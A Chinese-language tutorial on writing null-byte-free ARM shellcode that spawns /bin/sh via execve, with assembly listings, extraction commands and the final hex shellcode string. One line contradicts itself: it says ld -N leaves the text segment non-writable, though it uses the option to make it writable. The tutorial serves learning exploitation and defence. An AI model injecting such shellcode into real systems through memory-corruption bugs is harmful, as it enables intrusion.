用ARM编写shellcode
字数 1395 2025-08-06 08:35:35
ARM架构Shellcode编写教程
1. 简介
本教程将详细介绍如何在ARM架构下编写shellcode。学习本教程前,需要对ARM汇编有基本了解。教程基于ARMv6 32位处理器环境,但原理适用于大多数ARM架构。
1.1 准备工作
所需工具:
- GDB - 调试器
- GEF - GDB增强功能
- GCC - GNU编译器集合
- as - 汇编程序
- ld - 链接器
- strace - 系统调用跟踪工具
- objdump - 反汇编工具
- objcopy - 二进制提取工具
2. Shellcode编写原则
编写有效的shellcode需要遵循以下基本原则:
-
紧凑性:避免空字节(\x00)
- 原因:许多内存破坏漏洞(如strcpy缓冲区溢出)会在遇到空字节时停止复制
-
独立性:
- 避免使用库函数调用
- 避免使用绝对内存地址
- 确保shellcode能在不同环境下工作
3. Shellcode编写流程
编写shellcode的标准流程:
- 确定要使用的系统调用
- 查找系统调用号和参数
- 优化shellcode(消除空字节)
- 转换为十六进制字符串
4. 系统调用基础
4.1 ARM系统调用机制
在ARM架构中,系统调用的工作方式:
- 将参数移动到寄存器R0-R2
- 将系统调用号移动到R7
- 使用
SVC #0或SVC #1触发系统调用 - 返回值存储在R0中
与x86的区别:
- x86:参数入栈,系统调用号存入EAX,使用INT 80/SYSENTER
- ARM:参数直接存入寄存器,使用SVC指令
4.2 示例:write系统调用
.data
string: .asciz "Azeria Labs\n" @ 自动添加空字节
after_string:
.set size_of_string, after_string - string
.text
.global _start
_start:
mov r0, #1 @ STDOUT的文件描述符
ldr r1, addr_of_string @ 字符串地址
mov r2, #size_of_string @ 字符串长度
mov r7, #4 @ write系统调用号
svc #0 @ 触发系统调用
_exit:
mov r7, #1 @ exit系统调用号
svc 0 @ 触发系统调用
addr_of_string: .word string
5. 编写execve shellcode
5.1 目标
编写执行/bin/sh的shellcode,相当于C代码:
#include <stdio.h>
void main(void) {
system("/bin/sh");
}
5.2 系统调用分析
使用strace分析:
strace -f -v system
结果显示实际调用的是execve("/bin/sh", ["/bin/sh"], [/*环境变量*/])
5.3 execve系统调用参数
int execve(const char *filename, char *const argv[], char *const envp[]);
ARM实现:
- R0: 指向二进制路径字符串的指针
- R1: 命令行变量数组
- R2: 环境变量数组
- R7: 系统调用号(11)
5.4 初始实现
.text
.global _start
_start:
add r0, pc, #12 @ 使用PC相对寻址获取字符串地址
mov r1, #0 @ argv = 0
mov r2, #0 @ envp = 0
mov r7, #11 @ execve系统调用号
svc #0 @ 触发系统调用
.ascii "/bin/sh\0" @ 字符串
问题:包含多个空字节(mov指令和字符串结尾)
5.5 优化技术
-
使用Thumb模式:
- 指令长度2字节而非4字节
- 减少空字节出现概率
-
替代零值操作:
- 使用
sub r1, r1, r1代替mov r1, #0 - 使用
eor r1, r1, r1代替mov r1, #0
- 使用
-
处理字符串空字节:
- 使用
/bin/shX替代/bin/sh\0 - 用strb指令将X替换为空字节
- 使用
5.6 优化后的实现
.text
.global _start
_start:
.code 32 @ ARM模式
add r3, pc, #1 @ PC+1到R3
bx r3 @ 切换到Thumb模式
.code 16 @ Thumb模式
mov r0, pc @ PC指向下一条指令+4
add r0, #8 @ 调整到字符串地址
eor r1, r1, r1 @ R1 = 0
eor r2, r2, r2 @ R2 = 0
strb r2, [r0, #7] @ 将字符串末尾的X替换为0
mov r7, #11 @ execve系统调用号
svc #1 @ 触发系统调用
.ascii "/bin/shX" @ 8字节字符串
5.7 编译注意事项
由于代码段被修改(strb指令),需要使.text段可写:
as execve.s -o execve.o && ld -N execve.o -o execve
-N选项使数据不按页对齐,文本段不可写
6. Shellcode提取
6.1 使用objcopy和hexdump
objcopy -O binary execve execve.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' execve.bin
6.2 使用Python脚本
#!/usr/bin/env python
import sys
binary = open(sys.argv[1],'rb')
for byte in binary.read():
sys.stdout.write("\\x"+byte.encode("hex"))
print ""
7. 完整示例
最终无空字节的shellcode:
.section .text
.global _start
_start:
.code 32
add r3, pc, #1
bx r3
.code 16
mov r0, pc
add r0, #8
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #7]
mov r7, #11
svc #1
.ascii "/bin/shX"
提取的十六进制shellcode:
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78
8. 总结
本教程详细介绍了:
- ARM架构下系统调用的工作机制
- Shellcode编写的基本原则
- 消除空字节的优化技术
- 从汇编代码到十六进制shellcode的完整流程
后续可以在此基础上开发更复杂的shellcode,如反弹shell等。理解这些基础知识对于二进制漏洞利用和防御都至关重要。